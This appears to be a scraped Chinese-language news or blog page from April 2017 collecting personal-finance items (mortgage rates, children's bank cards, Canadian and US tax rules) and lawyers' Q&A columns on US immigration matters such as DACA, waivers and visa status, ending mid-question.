PHOTO/FILES/JEFF HAYNES (Photo credit should read JEFF HAYNES/AFP/Getty Images)
        如果已确定要购屋,不要考虑抵押贷款利率的增加,应按照既定计划进行。(JEFF HAYNES/AFP/Getty Images)

        如果已确定要购屋,不要考虑抵押贷款利率的增加,应按照既定计划进行。因为虽然从长期来看,贷款利率在往上升,但目前的利率水平仍在历史低点。

        过去44年贷款利率平均值为8%,因此,现在的4%或5%,即使上升到6%,仍未超过这个数值。另外,经济前景看好,工作机会多且工资有可能上涨,这都是有利因素。

        2017-04-17 / by / in , ,
        5岁孩子要不要有银行卡?利与弊听他们说

        加拿大《麦克林杂志》撰文中说,过去家长们是通过让孩子做家务,然后根据做的家务多少,支付一点辛苦费来让孩子接触金钱和理财。随着电子时代到来,家长们又有了新办法:零花钱不用现金方式给,而是给孩子1张银行卡,让孩子决定日常开支和花销,以此让他们接触日常银行业务、金钱和理财方面的知识,也就有了如今的“电子钱包”(electronic walletgeneration)一代或“刷卡儿童”(swipekids)。


        给孩子办银行卡好处多

        有些家长,甚至在孩子5岁时就给孩子办1张银行卡。道银副总裁马罗伊(Shirley Malloy)女士说,是否给孩子办银行卡,完全取决于家长决定。给未成年子女办银行卡,肯定有好处。这么做,不仅能跟上目前科技发展,而且还给孩子提供一个非常好的学习机会。

        马罗伊说,父母给孩子办银行卡时,可设定一个每日最高消费额,让孩子积极参与到日常消费和储蓄活动中,而不是每周一次性给孩子发一次现金零花钱,教会孩子独立,学会保护密码,消费前多想想,并做到自己的支出自己承担。

        支持者认为,孩子的首张银行卡,是让孩子学会迈入成年的一个现代方法。一方面,作为父母,可随时将零花钱转入孩子账户,作为孩子,可随时刷卡消费,但决不是方便孩子随时挥霍。另一方面,孩子拿银行比随身携带现金方便和安全。

        父母良苦用心

        在给孩子办银行卡方面,鲁兹(Tracy Devine Ruiz)女士可谓实践先驱者。鲁兹在孩子还在8、9岁时,就办了银行卡,平日零花钱、礼金或家务奖励费,都自动存入孩子们的皇银Leo’s Young Savers未成年人储蓄账户,孩子平日花费不设上限。她说,给孩子办银行卡,不仅有利孩子接触理财,而且也有利于家庭理财。

        鲁兹认为,这么做,让孩子在金钱上更有责任感,而并不是鼓励乱消费,孩子们现在变得和她一样勤俭节约。现在她18岁的儿子在打兼职工,每个月给家里支付75元租金,但这笔钱都自动存入了他的免税储蓄账户TFSA,只是鲁兹不让他知道而已。

        鲁兹12岁女儿的银行卡,每日消费上限25元,每周消费上限100元,超出上限时得上银行取。自有了银行卡以来,她从未超限消费过,也从未遗失过卡,或忘记密码。平日她也没其他零钱,也从未不找父母要,目前卡内余额是122元,每个月都会追加到这个数。此外,她还有一个储蓄账户,幸亏这么多年生日礼金攒下的钱,目前账户中存款已有几千,而且她从未动用过这笔钱。

        卡尔加里律师卡利(Carly)也给3个年龄分别为14、12和5岁的孩子办了银行卡,几乎每天会检查孩子账户,如发现异样,会盘问孩子怎么回事。她说,银行账户本身的责任意识,教会孩子长期理财,现在3个孩子都很有金钱和理财意识,账户中余额多了,会感觉很自豪,余额少了,则会觉得难为情。14岁长女平日消费前,都会比以前做更多比较。

        银行来帮忙

        让孩子从小接触金钱知识,银行也是功不可没,而且让事情变得更简捷和迫切。如道银有Family Allowance App应用程式,教孩子设定理财目标和如何得到奖励。丰银有Getting There Savings Program未成年人账户,让孩子积攒电影积分。帝银有Advantage for Youth儿童账户,方便儿童在父母许可下进行网上银行、电话银行和Interac银行操作。

        一不小心出篓子

        给孩子办银行卡,也有弊端。如CPA美国研究所2012年1份调查发现,许多家长为图省事,一次性将1个月或1年的零花钱转到孩子银行卡上(美国孩子目前平均每月零花钱65元,每年平均780元),而不是孩子需要时才转。孩子有了大笔钱,很有可能控制不住乱消费。

        在儿童银行卡推动方面,英国可谓先行者。2008年英国一个家长团体推出goHenry应用程式,后与威士信用卡(Visa)公司合作针对8岁以上未成年人推出预付信用卡。另一个类似应用程式Osper则与万士达信用卡(Mastercard)公司合作。

        但前不久,英国资深银行劳埃德银行(Lloyds)将11~16岁未成年人仅限自动取款机取现账户升级至有Visa信用卡选项的账户,好让他们在不经父母情况下进行网上购物,惹出大麻烦。其中1名15岁少年,突然有了如此消费方便,一口气在网上买了200盒香烟、伟哥Viagra和伪造身份证。

        在加拿大,目前至少还没这方面问题,儿童网络银行还算安全。多数银行规定,12岁以下儿童账户是与父母或监护人的联名账户。马罗伊说,这类联名账户,父母有更多控制。

        其他问题

        问题是,给孩子办银行卡,是否真能让孩子消费行为变得更负责任呢?Money Coaches Canada首席财务官渥金顿(Sheila Walkington)女士说,现在孩子从小就办银行卡已日益普遍,原则上也没啥问题。但在给孩子存零花钱上,孩子需要一贯性,即家长应有规律定时定量的给,而不是什么时候想起来或有时间就存。

        MuslimMoms.ca网站Mona Ismaeil撰写的一篇文章还认为,给孩子零花钱,不仅是教会孩子有责任的消费和储蓄,还包括教孩子定期留一部分钱用于慈善捐赠或帮助他人。目前加拿大慈善捐赠逐年下滑,而这一慈善捐赠习惯要从孩子小时培养。

        当然,也有些人并不赞成给孩子过早办银行卡。CentsibleStudents.ca网站联合创办人波尔顿(Jenni Bolton)女士12岁和15岁的2个孩子就至今没有自己的银行卡。她说,她仍坚持传统理财,她家里即使大人,日常消费也是多用现金,这样才能让孩子有切身的金钱意识。PC Financial家庭理财顾问梅德哈克(Rubina Medhaq)女士也认为,冷冰冰的银行卡,引不起情感上的触动。给孩子零花钱或日常家奖励费时,最好是给现金。

        2017-04-17 / by / in , , , , ,
        忘了 去年卖房的今年得报税!

        去年秋加拿大联邦政府收紧房贷政策时,有一个不太干起眼但很关键的变动是,去年卖房的,今年报税时必须如实上报,即使是卖掉多年主要住宅房屋无需交税也得报。这是加拿大税局(CRA)首次要求报税人报税时如实上报税务年度房屋交易情况。


        填写报税表时,在税表投资增值表中填写房屋出售情况,填写信息包括:交易基本信息,购买年度,交易收益和房屋基本描述等。隐瞒不报或任意修改税表的,罚款高达8千。德勤(Deloitte)税务合伙人布罗菲(Brian Brophy)说,如果出售的是主要住宅,哪一年出售都不用担心交税,只需如实在税表中填写就可了。

        去年秋渥京在宣布系列房贷收紧政策时,曾说这一变动是希望,的确是主要住宅享受了增值税豁免。如出售房屋在持有年限内,只有部分年限是作为主要住宅,计算和扣除房屋作为主要住宅年限内的增值税豁免额部分,其它部分仍应如实交税。

        安永会计师事务所税务合伙人斯利斯科维克(John Sliskovic)说,这样一来,过去同一报税年度申请多幢房屋主要住宅交易税豁免的人,就再也钻不到空子了,税局能更轻易发现。一些拥有住房和独立屋的人,就得确定报税时到底用哪个作为主要住宅报,在这一点上,当然是哪个房屋增值幅度大,哪个就作为主要住宅来报。

        布罗菲说,此前,由于缺乏数据,税局对人们主要住宅报税情况知之甚少。有了这一规定,就能更好掌握人们的房屋交易情况。

        2017-04-17 / by / in , ,
        在美国不想多纳税 不要忘了三大抵税利器

        在美国有二种减税优惠:税收扣除(tax deduction)和税收抵免(tax credit)。前者是可以从“调整后总收入”(AGI,即税前收入)减去的扣除额,这样可以降低应税收入(taxable income)。应税收入越低,要缴的税就越少。


        听起来不错吧,但税收抵免更棒,因为它是直接从应纳税额减去的抵税金额。少数的税收抵免甚至是可退税的。例如应缴的所得税是250美元,可抵税的金额是1,000美元,纳税人不但不用缴税,还可以拿到750美元的退税。

        CBS新闻报导,美国有三大类最受欢迎的税收抵免,以下是2016年度抵税规定概要,相关细节建议咨询税务专家,而且各州也可能提供其它类别的税收抵免。

        一、抚养子女的纳税人

        儿童税收抵免:

        抚养一名儿童(2000年1月1日以后出生,非仅限亲生子女)可抵税1,000美元,不过,超过收入上限者,无法适用:夫妻合并申报,AGI超过11万美元;夫妻分开申报,AGI超过5.5万美元;单身一家之主,AGI超过7.5万美元。

        照顾子女及受抚养人抵税(Child and Dependent Care Credit)

        薪资收入(earned income)家庭如果有13岁以下子女、无行为能力的配偶或父母或其他受抚养人(2016年和纳税人同住至少6个月),纳税人为了工作,日间必须托人照顾。依税法规定,这类日间照顾费的20%到35%可以抵税,如果需照顾者为1人时,抵税上限是3千美元,2人以上则为6千美元。

        抵税百分比是以收入为计算基础:上述日间照顾费抵税比例是依据AGI调整。家庭的AGI如果不足1.5万美元,日间照顾费可获得35%抵税,AGI每增加2,000美元,抵税比例减少1%,超过4.3万美元者,抵税比例为20%。

        薪资收入抵税(Earned Income Credit)

        抵税金额根据抚养孩子的人数、婚姻状况和收入而有不同。这项抵税金额在2016年纳税年度介于3,373美元到 6,269美元之间(2017年度则在3,400美元到6,318美元之间)。建议AGI低于5.4万美元的纳税人,深入研究或询问专家是否可适用本项规定。

        不过,如果纳税人在2016年度有超过3,400美元的投资收入、股息、资本利得和其它所得(2017年度为3,450美元),就没有资格适用这项抵税优惠。

        注意:

        如果单身薪资收入少于14,880美元(2017年为15,010美元),或者夫妻合并申报,薪资收入少于20,430美元(2017年为20,600美元),即使没有孩子,也可以享有薪资收入抵税优惠, 2016年为506美元(2017年为510美元)。

        领养抵税:

        2016年度领养儿童可以抵税,上限是13,460美元。AGI如果超过201,920美元,本项抵税金额开始递减,AGI高于241,920美元者无法享有。注意必须在纳税年度已完成收养程序,另外,收养配偶的孩子不适用这项优惠。

        收养有特殊需要的孩子,可以得到最高 13,460美元的抵税,即使实际花费没有这么多。

        二、教育投资或退休者

        退休储蓄抵税:

        美国劳工加入雇主资助的401(k)退休计划或其它退休计划,对退休计划账户的供款,可以享有10%到50%的抵税,可抵税金额的个人上限是2,000美元(夫妻合并申报是4千美元)。AGI如果少于61.5万美元者,值得去查询可以适用的抵税比例,其系依纳 税人的申报身份及收入而定。

        美国机会抵税(American Opportunity Tax Credit):

        为了鼓励美国民众接受高等教育,就读大学前4年的费用都可以抵税,包括学分费、活动费、书籍费、用品和设备费,最高可抵2,500美元。条件是纳税年度至少上课6个月,不能犯任何与毒品有关的重罪。如果单身AGI高于9万美元(夫妻合并申报18万美元),无法享有本项抵税优惠。

        终身学习抵税:

        在纳税年度如果有进修,学分费、活动费、书籍费、用品和设备费等都可以抵税,最高2,000美元。本项抵税没有上课时数的要求,而且任何进修都可以,包括大学、研究所或甚至不给学分或文凭的课程。不过请注意,一份报税单上的成员,不论有多少人进修,最多只能抵税2,000美元。

        同样地,这项抵税的金额也会因收入而异,单身AGI高于6.5万美元(夫妻合并申报13.1万美元)无法适用。此外,适用本项抵税者,不能同时适用美国机会抵税,反之亦然。

        三、绿色抵税

        住宅能源税收抵免(Residential Energy Tax Credits):

        如果购买节能产品,包括空气循环扇和节能商品如热水器等,最高可以抵税500美元。此外,如果购买太阳能电力或水设备、燃料电池、住宅风力设备和地热泵设备等,购置成本包括劳动成本的30%可以抵税。用于私人游泳池或热水浴缸的设备,不在此列。

        充电式电动车抵税(Plug-in Electric-Drive Motor Vehicle Credit):

        购买充电式电动车可以抵税,但必须是至少有4个车轮的新车,且电池电能至少4千瓦时。本项抵税金额最低为2,500美元,最高是7,500美元,根据电池容量而异。

        2017-04-17 / by / in ,
        孩子是美国公民,非法移民的父母如何获得绿卡?

        非法滞留在美的少年可否获得合法身份?

        问:我女儿和一个男同学交往一年半了,俩人现在高中毕业,我女儿毕业后将上大学。男孩也想上大学,但他父母没有钱,父母告诉他等待新的法律出台或者结婚。男孩4年前随父母从哥伦比亚来美国,进入高中上学(怎么可以上学﹖)。在高中获得全A,成绩优异。但是他没有身份,也没有工作,我理解这属于重罪,他能改变身份吗?他该如何做?

        中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍


        答:无证移民非法停留在美国不是重罪,连轻罪也不算。有一些州想把非法停留视为犯罪,但高院去年的判例(Arizona v. United States)否定了这种想法。美国对所有子女高中前的教育非常重视,多年来无证移民子女都可以依法享受公立学校教育,直到高中毕业为止。

        如果参院综合移民改革法案(S.744号)获得通过或大部分通过,毫无疑问,你关心的那个男孩将会获得合法身份,可以合法工作、旅行、缴付州居民的学费,或许还可以获得大学奖学金。如果你希望这一切成真,你应该和本地的众议员联系,让他(她)们通过综合移民改革法案,未来几个月这一法案将成为众院讨论的焦点。

        永久居民登记兵役

        问:我25岁来美国(离26岁生日还有两个月),现在是永久居民。我正申请入大学,学校问我登记兵役之事,我从来没有听说过这件事情,我想知道学校会如何处理我的入学申请?

        答:任何一位永久居民、依法留在美国的人,甚至无证移民都有义务登记兵役,只有持非移民身份的人可以例外。你应当向学校询问你这种情况该怎么办,因为你不知道自己有义务在26岁之前登记兵役,而且那时你已经快26岁了,所以没有多少时间来完成登记,到底你要提供什么文件才能入学。如果学校只要求你提供书面解释,你自己就可以出示,如果学校要求兵役局出示一份身份资讯函(status information letter),你可以致电兵役局,电话是1-847-688-6888。因为你入境后,只有两个月时间来登记兵役,我很怀疑学校会因此而惩罚你。

        孩子是美国公民,非法移民的父母如何获得绿卡?

        问:孩子是美国公民,非法移民的母亲是否可以申请公民?

        答:不可以。孩子要满21岁才可以为你申请绿卡,在你获得绿卡五年后,才可以申请入籍。你是否可以获得绿卡要视情况而定:(1)如果你合法入境美国,除了非法滞留以外没有别的问题,你有资格在美国境内调整身份,不需要出境。(2)如果你是非法进入美国,又没有245(i)条款的条件( 245(i)要求非法入境的外籍士人于2001年4月30日之前有人为他递交过劳工纸或移民申请,并证明2000年12月21日当日人在美国﹔在缴付罚款后,得以调整身份),你将没有资格在美国申请调整身份。如果你离境去领事馆办理你子女为你申请的移民签证,你会受到十年不准再入境的惩罚,除非你能证明将造成你美国公民或绿卡的配偶或父母的生活极端困难,而因此获得豁免。

        另一个选择是等待综合移民改革法案的结果,该改革现正是众院的关注焦点。综合移民改革若通过可能会为无证移民提供成为公民之路。

        移民体检问题

        问:我不是移民,是否需要体检?
        答:在移民案件中,一般只有移民主受益人和连带家属受益人需要体检。在亲属移民案件中,只有当亲属关系被怀疑是否真实时,移民局才会要求申请人和受益人进行亲子鉴定DNA检验。

        ◆本文内容来自lawyers.com,经授权刊登。根据lawyers.com的规定,对问题所做的回答不代表法律建议,提出问题方不是李律师的客户。李律师所提供的为一般信息,不是法律建议,提问者需要找律师获得具体的法律建议。如果提问者据此做出的任何决定,李律师将不承担其法律后果。

         

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        2017-04-16 / 3 Comments / by / in , , , ,
        旅游签证转学生签证

        旅游签证转学生签证

        ●问:在美国期间,是否可以将B2签证转为F1学生签证?

        李律师:如果你在入境时并没有打算在美国学习,你可以转为F1学生签证,前提是你有学校入学许可I-20表格和财务支持的文件。需要提醒你的是,移民局并不提供签证,只提供身份转换。如果你转换身份以后离开美国,再入境时需要先向美国使领馆申请F1签证,除非你是加拿大公民。


        J1签证与工作许可

        ●问:我持J1签证,8月24日和美国公民结婚,我的签证是10月13日到期,到期以后我是不是可以继续工作到签证到期为止?

        李律师:如果你J1签证的工作许可于10月13日到期,不管你是否提交了调整身份的申请(I-485),你都可以一直工作直到10月13日。你的I-485申请不会让你现在的非移民身份失效。

        I-539被拒且I-94过期

        ●问:我的I-539申请非移民身份延期或转换被拒,I-94卡也过期了,我应当如何做?

        李律师:如果I-539被拒,且I-94卡过期,你可以有几个选择:一种是申请重新开案。如果你认为拒绝你的I-539是不正确的,你可以在30天内提交I-290B表,申请重新开案或重新考虑的动议。如果你提交以后,移民局批准了,不会导致非法滞留。你面临的风险是,移民局可能在六个月以内无法裁定你的申请。如果重开申请被拒,从你的I-539被拒之日起的时间将算是非法滞留。根据移民法规定,在美国非法滞留超过180天,在离开美国后有三年不能入境的惩罚。所以很多提交重开动议的人,在快六个月时还没有结果的话,就必须要做出选择,是离境避免三年禁令,还是抱着之前结果会被推翻的希望继续等待。另一个选择是出境重新申请签证。你可以转换为其他非移民身份,并在美国境外向领使馆申请签证。

        还有很多签证过期的人、非法留在美国的人,希望将来身份能够合法化,我们并不推荐这样做。

        最好的移民方式是什?

        ●问:我丈夫16岁以后就一直在美国,但他不能够提供当时在美国的证明。我们已经结婚,并很快会有孩子。我丈夫要如何获得合法身份,我们应该怎么做?

        李律师:你提到你的丈夫16岁之后就在美国,我理解你是想知道他是不是符合童年入境暂缓递解(DACA)的条件。如果你是美国公民,你丈夫可能可以申请当局的其他项目,比如I-601A豁免。你可以为他提交I-130亲属申请,他再提交I-601A临时豁免申请,申请中要证明你丈夫的离境会给你造成极度困境。如果I-601A获批,领事馆会处理他入境签证等事情。I-601A的领事程序要比I-601简单得多,I-601是要在境外申请入境被拒后才有机会提交。

        另外一个选择是,你丈夫可以继续呆在美国,看综合移民改革讨论的结果。

        2017-04-16 / by / in , ,
        是否需要退回H-1B申请费?

        关于达卡(DACA)的问题

        ●问:我最近申请了达卡,并已经收到了社安卡和工作许可证,请问我的身份是难民或政治庇护吗?

        李律师: 我想你是申请了奥巴马总统的童年入境暂缓递解(DACA,俗称“达卡”),而且获批了。你既不是难民,也不是政治庇护。根据达卡的规定,你有两年的宽限期,可以在这里工作,也可以出国旅游(但要先获得回美纸)。根据规定,两年以后,如果国会就更多细节达成协议,你可以在达卡项目中申请延期,或者通过其他更长期的项目延期。


        婚姻受扰,如何遣返“第三者”?

        ●问:我丈夫在2009年到2013年间,和一个在中国女人发生外遇,导致我们的婚姻几乎破裂。今年6月到7月,我丈夫安排她以旅游身份来美国,俩人住在他好友的房子里。我发现了之后,我丈夫于7月将她送回中国。上个星期,我得知那个女人又以旅游身份来了美国,还住在我丈夫的朋友的房子里。我质问丈夫,他说这次不是他安排的,并且不会去看她。但我心里不是很踏实,怕万一我丈夫还去看她,或者她想办法找我丈夫。我希望她马上回中国,越快越好,是不是有办法吊销她的签证、遣返她回中国?

        李律师: 因为对方没有犯罪,而且对方没有犯下要遣返出美国的罪,所以只要她的非移民签证是合法的,移民局没有办法强制她出境。如果你相信你的丈夫对婚姻不忠,你可以考虑离婚。

        移民申请递交后多久会面谈?

        ●问:我母亲准备移民已经很久了,我父亲现在终于可以担保母亲移民美国。所有担保申请文件也会很快填好。估计要多长时间,我母亲会进入面谈程序?到允许她合法入境要多长时间?

        李律师: 根据你的情况,你现在缺的应该是I-864经济担保书及相关的文件,那就意味着申请现在还在全国签证中心。如果签证类别处于“有名额”的状态,不需要等待,领使馆应该会在几个月内安排你母亲面谈。如果没有其他需要的行政审批,面谈通过后,你母亲会在几个星期内收到签证包。在到签证包以后,她需要向国土安全部支付165美元移民费,然后就可以坐飞机来美国了。

        是否需要退回H-1B申请费?

        ●问:我持H-1B签证在美国工作,想换工作。我申请了几家公司,其中两家了申请H-1B并获批,我接受了其中一家,拒绝了另外一家。被拒绝的公司要求我还回H-1B签证申请费,我想知道的是,如果我不还钱给这家公司,会不会带来法律问题?

        李律师: 通常情况下,H-1B申请公司应当支付申请费。但是,如果因为你没有履约而给对方公司带来损失,法律并不排除公司要求你支付违约金。违约金要能够补偿公司的损失,这通常是由州法律决定的,不是联邦法律。

        2017-04-16 / by / in ,
        和非法移民结婚

        学生持实习生身份办企业

        ●问:我在我学习的专业领域(微生物学)有一个全职工作,因在大学里做博士后,这符合实习生的要求。2012年起,我在自己研究领域以外创建了自己的企业,我像美国人一样报税(我是法国出生的),但我不是雇员、没有领工资,我是公司的老板,利润是我的收益,不知道这样是否违规?


        律师: 持实习生身份的学生创办企业并不违规,但在企业里工作则是违规的,你没有领工资并不能改变这一点,因为你运营企业的目的是为了获取利润。

        使用丈夫的银行账号

        ●问:我将持IR1签证移民美国。我丈夫不为我提供财务支持,但他在申请我时为我递交了经济担保书(AOS)。我丈夫突然拒绝为我支付移民和社安号需要的165美元。因为我有他银行账号的所有信息,我上网用他的账号支付了这笔钱,这样可以吗?

        律师: 任何移民签证获批的人都要向移民局支付165元移民费。多数情况下,这笔钱是由签证申请人支付的,而不是担保人支付。如果你自己有电脑,你可以上网使用自己的账号支付。

        和非法移民结婚

        ●问:为了让非法移民不被递解出境而和他(她)结婚,会受到什么样的惩罚?

        律师: 为了达到不让对方递解出境,而和非法移民结婚,故意这样做的一方可能被控婚姻欺诈。如果被发现的话,参与同谋的各方最高可能被关在联邦监狱5年,和25万美元的罚款。

        主担保人就业状况

        ●问:主担保人的生活方式是半年工作,剩下半年时间旅游,半年工作所得高于最低年收入(贫困线)标准的1.25倍。请问如果主担保人在非工作期间,是否可以用工作半年的所得来担保,还是说主担保人要有工作的情况才能提供担保?

        律师: 法律并没有要求担保人在提供担保时必须在工作,只是要求I-864表必须可信。如果主担保人半年的收入比贫困线的1.25倍还高,担保应该是可以通过的。不过,如果收入只比贫困线的1.25倍多一点,而当事人只工作半年,担保可能会受到质疑。如果你的主担保人是面这种情况,最好是在他(她)工作的期间为你担保,这样他(她)就可以在担保时附上工作证明和近期的工资证明。

        2017-04-16 / by / in
        绿卡过期重新提交I-130

        逾期居留 回国后再申请移民签证

        ●问:我持旅行签证并在纽约逾期居留。我和美国公民结婚,但没有获得绿卡就回母国了。请问我要如何通过我的美国公民丈夫获得签证或绿卡?有多大把握?


        律师:这取决于你以旅行签证在美逾期居留多长时间,如果你丈夫担保你办移民签证的话,你再入境是否需要申请豁免。如果你逾期在美国居留超过180天,没有豁免的话,你将受到3年不能入境的惩罚;如果逾期居留超过1年,没有豁免会受到10年不能入境的惩罚。若要I-601豁免申请得到批准,你需要证明:如果你的豁免没有获得批准,会给你丈夫的生活造成极度困难。

        为继女申请来美签证

        ●问:我在巴西有一个继女杰西卡,我和我丈夫,还有杰西卡的母亲都觉得,杰西卡应该到美国来,有一个更好的未来和生活。杰西卡今年15岁,我不确定她是否可以和我们一起从巴西来美国,我如何能够让她马上来美国?

        律师:只要你是美国公民或永久居民,如果所有各方都同意让你的继女来美国,包括你们夫妇和杰西卡的母亲,你可以为你的继女提交I-130表申请,她可以来美国成为永久居民。整个过程大概需要1年。

        配偶出境后被禁止再入境

        ●问:我是美国公民,和女朋友(她是访客签证)结婚后去墨西哥见我的父母。当我们回洛杉矶时,她被禁止入境,并送回中国,原因是她的申请仍然在处理过程中。在去墨西哥之前,我们问过律师,律师说她可以离境,因为她的签证属于可以离境再入境的类型。现在的问题是,如何让她尽快从中国回到美国?

        律师:如果你太太持H-1B或L-1签证,而且有证据表明她仍然在为帮她申请签证的机构工作,即使她的申请仍然在处理中(我假定你正在为她申请永久居住权),她也应当被允许入境。如果她不是持以上两种签证,你需要提交I-130表,然后办理领事移民程序,并在广州领事馆面谈。整个过程大概需要1年。

        绿卡过期重新提交I-130

        ●问:我从1995年开始是美国居民,但因为家里有事在2006年回了日本,我申请了回美证,有效期到2009年止,但我没能在有效期内回美国。我在日本期间绿卡过期了。2012年,我在日本和美国公民结婚,想和他一起在美国生活。2013年7月,因为我觉得我的绿卡已经过期,我持90天有效期的免签证来美国。现在我已经呆了快90天了,他想为我提交I-130申请。我的问题是我的绿卡是否已经吊销?如果没有,我在提交I-130申请时应该注意什么?我应该在免签到期之前离开美国吗?

        律师:最保险的做法是,你先回日本,让你丈夫为你提交I-130表,然后你在日本完成领事作业程序。在面谈时,你应当交还你的绿卡,因为你离开美国的时间超出了回美证的期限,你的绿卡已经过期。而且,你现在是持免签入境的访客,如果你申请调整身份为永久居民,你很难说服移民官,说你入境时没有打算留在美国,因为当时你已经和美国公民丈夫结婚了。

        2017-04-16 / by / in ,
        为了绿卡结婚是否欺诈?

        递交了两份I-485申请

        ●问:我以职业移民申请人的家属提交了I-485绿卡申请表,案子正在移民局审理之中。在这期间,我的主申请人获得了绿卡,所以我又以婚姻移民提交了I-485表,这一申请已经安排好面谈日期。我的问题是:如果移民官说我另外有一份申请还在审理中而拒绝我,我应该怎么办?

        李律师:当某人有两份I-485申请案子都正在移民局审理中,只能希望移民局地区办公室在面谈时同时有这两份申请案。如果移民官说职业移民申请在审理中,而不批你的婚姻移民申请,你只能等到移民官拿到另一份申请的文件,你的案子才能最终裁决。

        你也可以试着给移民局地区办公室去信,告诉你有另外一份申请,以及申请案所在的地方,但无法保证你面谈时移民官已经拿到了相关的文件。而且,这样可能会耽误你的案子达几个月的时间。

        从H-4转换到L-1

        ●问:我现在持H-4签证,我的印度公司打算为我申请L-1签证。我的问题是:1)我是否可以从H-4转换到L-1?2)我是否要回印度,我的L-1签证才能生效?3)我有没有可能在美国获得L-1签证?

        李律师:只要你符合条件,你可以从H-4换到L-1。最基本的要求是:1)美国的公司和海外公司是从属关系。2)申请人在过去3年当中至少有1年为海外的母公司工作。3)申请人曾是并将在美国的公司担任管理、行政或特殊技能的工作。

        只要你保持你的H-4身份,你可以不用离开美国转换身份,前提是移民局批准了你的L-1申请。

        为了绿卡结婚是否欺诈?

        ●问:两人约会了一年,其中一方是外国人,在美国上学,另外一方是美国公民,两人交往了一段时间。外国学生的签证到期时,两人决定结婚来维持关系,那时签证是结婚这一决定的因素。但两人的关系是真实的,不管怎么说最终会结婚的。

        我的问题是:如果移民局拒绝给予外国学生绿卡,会不会有一种可能的“灰色地带”,我认为这不是“欺诈”,因为这毕竟比付1万元和一位陌生的穷美国公民结婚要轻得多。

        李律师:为了让某人不离开这个国家,通过结婚的方式帮助对方,如果婚姻关系不是真实的,这就构成欺诈,这不是灰色地带。你提到你们的关系不像付1万元和美国公民结婚,而且你们的关系是真实的,最终肯定会结婚。如果真是这样的话,那你们就结婚,像正常夫妻一样生活,那样的话,你就不需要费劲来解释你们结婚的意图。

        家暴递解还能入境吗?

        ●问:我和美国公民结婚并获得绿卡,因为太太声称我打她,我被抓并等待被递解。我告诉法官递解我,因为我不想继续像罪犯一样被锁起来。我在2000年被递解了,已在美国境外呆了10年,我怎样才能回美国?

        李律师:你需要请一个律师来查看你的刑事犯罪记录,包括确认的指控和认罪协议,这样才能确定你是不是被永久禁止入境。根据现行法律,家庭暴力是永久禁止入境的。律师要看你是否涉及到暴力,而且看州法律是怎么规定的。

        2017-04-16 / by / in ,
        申请童年入境暂缓递解时填写入境身份

        移民申请终止后持访问签证入美

        ●问:我持H-1B签证在美,我的雇主为我申请I-140职业移民第三优先(EB-3)已获批,我的I-485表在2007年提交后仍在审批中。去年我辞掉了那份工作并回母国为其他公司工作。我离开美国时申请了回美纸和工作许可证,但现在都已经过期了。


        最近,我获得B-1签证来现在服务的总公司开会,计划访问2-3周,我想问的是我已放弃的I-485申请会不会给我带来问题?

        李律师:希望你入境时海关与边境保护局(CBP)不会找你的麻烦,因为你已经有移民倾向,这和你持B-1签证入境的目的是不一致的。但从另外一方面说,如果CBP官员确认你只是暂时停留的话,他(她)很可能会允许你入境。你用新的B-1签证以及你没有继续原来的移民申请,对你都是有利的因素。我建议你带上所有可以证明你只是暂时来美国的材料。

        如何证明儿子的婚姻不真实?

        ●问:我儿子的前妻向移民律师撒谎,在她获得绿卡和成为公民以后,她立即申请离婚。他们有两个小孩,在美国出生并一直住在美国。儿子的前妻用她父母在俄罗斯的地址说小孩住在那里并为两个孩子申请了俄罗斯护照,孩子同时有美国护照。

        我的问题是:我儿子有什么办法可以证明他的前妻和他结婚,是为了获得绿卡和成为公民?

        李律师:因为他们已经生了两个孩子,所以要证明你儿子的前妻是为了绿卡和公民结婚,几乎是不可能的。而且,你儿子的前妻为孩子申请俄罗斯护照的事情,与美国移民局也没有任何的关系。

        申请童年入境暂缓递解时填写入境身份

        ●问:我在婴儿期被非法带入美国,请问申请童年入境暂缓递解时,我应当如何填写我的入境身份?

        李律师:在填写童年入境暂缓递解(DACA,达卡)时,你可以回答“NLS”(No Legal Status),表示没有合法身份,现在这个回答是达卡申请人喜欢用的术语。

        恶性重罪被递解后如何回美?

        ●问:我今年33岁,在美国居住了23年。我和美国公民结婚,家人都在美国。我因为恶性重罪被递解出境,并面临10年不能入境的禁令。请问我如何获得特赦回到美国?

        李律师:因恶性重罪被递解出境的人,再回美国就算可能也是极度困难的。如果你获得特赦,你当然可以让你的太太申请你移民。但是政客们在使用特赦时会很小心,因为这可能会在政治上对自己不利。

        通常来说,特赦的请求是向总统和州长提出的,每一个州都有自己处理大赦请求的程序。纽约前州长帕特森(David Paterson)非常乐意帮助那些因为很久以前的犯罪或者是因为小罪而要被递解的人,所以他特赦了不少这样的人。法律给予总统、州长或者其他宪法授权的管理机构全权和无条件特赦的能力,可以阻止犯有道德败坏罪行的人被递解,其中包括犯有恶性重罪。如果你想向总统提出特赦请求,可以向特赦检察官办公室(the Office of the Pardon Attorney)提出,办公室的地址是:1425 New York Ave. NW., Suite 11000, Washington DC 20530。

        2017-04-16 / by / in ,
        持F1签证结婚

        男朋友是非法移民

        ●问:我男朋友被抓,将在1月16日开庭,我得到通知他有移民案件在身,因为他非法在美。我怀孕了,他付了所有的医院账单、预约医生等费用。他会在开庭后被递解出境吗?是否有办法停止递解程序?


        律师:在移民法庭第一次听证的时候,法庭会想知道你男朋友是不是找了律师,并会提出对他的指控,然后看他是否有方式解除困境。如果他仍然在关押中,可要求保释,以便准备移民案件。如果你是美国公民并且和他结婚,你可以要求法庭宽限时间以便于你为他申请I-601A豁免,这一豁免可以解决他非法停留在美国的问题。如果你的申请获批,你可以要求法庭关闭他的移民案件以便于申请I-601A,I-601A豁免获批与否,取决于他的离境是否对你造成极度困境。如果I-601A获批,他可以申请中止法庭程序,然后回母国进行移民签证面谈。

        如果你也没有合法身份,他和你结婚仍然会有利,因为他将会成为合法美国公民父亲,这样的话可能获得同情,对他获得移民救济是有利的。

        丈夫入籍对太太申请I-601有帮助吗?

        ●问:丈夫在1989年结婚,在2009年获得工作绿卡,太太于1989年到2009年间非法待在美国。太太后来因为疾病的原因自愿离开了美国。丈夫提交了I-824表并通知美国领馆他已经调整为永久居民身份,I-824于2010年1月29日获批。太太因非法居留申请I-601豁免但被拒,因为没有证明会给丈夫带来极度困境。丈夫在2014年底就可以申请成为公民了,请问这对太太申请豁免再入境是否有帮助?

